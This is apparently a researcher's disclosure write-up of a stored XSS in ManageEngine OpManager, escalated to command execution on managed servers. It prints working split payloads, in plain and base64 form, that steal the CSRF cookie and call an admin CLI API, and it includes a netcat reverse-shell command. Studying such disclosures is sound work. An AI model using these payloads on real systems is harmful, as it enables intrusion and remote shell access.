[ZVE-2025-3566] Stored XSS to RCE in Manage Engine OpManager
![[ZVE-2025-3566] Stored XSS to RCE in Manage Engine OpManager](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1753930975579%2Fb835c2ae-2b5b-425e-9210-09bb506d46c1.png&w=3840&q=75)
In this article, I share my experience discovering a stored XSS vulnerability in Manage Engine OpManager and the creative approach taken to escalate its severity to achieve remote code execution (RCE). The vulnerability stems from inconsistencies in input filtering, where payloads are filtered during creation but not during editing. By using eval(atob()) and splitting the payload, we bypassed the filters to execute commands on a managed server. Despite the vendor's medium severity rating for the XSS, the successful exploitation to achieve RCE proved to be an exciting challenge.
Recently, I discovered a low-hanging Stored XSS in OpManager Manage Engine! Finding the vulnerability wasn't too tough (it only took me a couple of hours) but figuring out how to raise its severity was quite a challenge. Let me show you how I did it!

Installation
Linux
Manage Engine OpManager Plus (Build version:
12.8.580)
Understand the app and finding the vuln
Like with any other application, we first need to explore and understand it. After spending some time, we will gain knowledge about the application. Generally, this application is used for managing networks, as well as the machines and servers within those networks.
The key point I discovered is that most fields in every function are strictly filtered, except in this case: filtering occurs when creating but not when editing (only in a few cases, not all).
First, try to create one with the payload


The input is filtered really strictly, try to edit then … boom!

Successful XSS!
Raising the impact
As mentioned earlier, the application is used for managing networks, computers, and servers. I found a function that allows executing code on the machine managed by the app.


Required fields: X-ZCSRF-TOKEN
The flow of exploitation will be like this:
Low-privilege user inject payload which will:
Extract the CSRF token from document.cookie
Build a malicious POST request
Trigger command execution on the backend using an existing administrative API
Admin navigates to the screen that contains payload and execute command on the managed server.
The flow seems clear and easy to use for building the exploit. However, there will always be some obstacles:
- First, there's a length limit. Only URL-encoded payloads with a length of less than 300 are accepted. With a normal payload, special characters like
<and>are expanded to%3cand%3e, which triples their length. This means you can't use the common payload.

- Second, the filter is still in place and does not allow these characters:
, " [ ].
Thanks to my bro Ngockhanhc11, we came up with the idea of using eval(atob()) and splitting the payload with <input>. With this approach, we successfully bypassed all the defenses.
Here are the split payloads:
- Payload 1:
<input id='xss1' value='Zj1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcjZCcpLnZhbHVlOwpjPWRvY3VtZW50LmNvb2tpZS5zcGxpdCgnb3BtY3NyZmNvb2tpZT0nKVsxXS5zcGxpdCgnOycpWzBdOwpmZXRjaCgnL2NsaWVudC9hcGkvanNvbi9hZG1pbi9nZXRDbGlRdWVyeURldGFpbHMnLHttZXRob2Q6J1BPU1QnLGhlYWRlcn'>
- Payload 2:
<input id='xss2' value='M6eydYLVpDU1JGLVRPS0VOJzonb3BtY3NyZnRva2VuPScrYywnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTpmfSk='>
- Payload 3:
<input id='d' value='deviceName=kali&cliCommand=nc+-nv+127.0.0.1+4444+-e+/bin/bash&action=execute&credentialNames=kali'>
<script>eval(atob(document.getElementById('xss1').value+document.getElementById('xss2').value))</script>
Payload 1 and 2 will be the one to extract the cookie and do fetch the API to execute command on the remote server.
// Payload 1+2 original
f=document.querySelector('#d').value;
c=document.cookie.split('opmcsrfcookie=')[1].split(';')[0];
fetch('/client/api/json/admin/getCliQueryDetails',{method:'POST',headers:{'X-ZCSRF-TOKEN':'opmcsrftoken='+c,'Content-Type':'application/x-www-form-urlencoded'},body:f})
The payload 1+2 will be stored in the <input> and used later.
Payload 3 will store the body of the request, also extract the payload 1+2 in the <input> before, do base64-decode with atob() and execute the script with eval()
After admin navigates to the screen that contains the payload, the attacker will gain the reverse shell which is sent by admin.

Conclusion
In the end, the vendor acknowledges the vulnerability and has reassessed its severity, viewing the command execution phase as part of the app's function. While they consider the XSS to be of medium severity rather than critical, which might seem less than ideal (so sad), it is still an exciting journey where we successfully overcame the challenge to achieve RCE.

Thanks for reading!
Reference
Published URL: https://www.manageengine.com/itom/advisory/zve-2025-3566.html





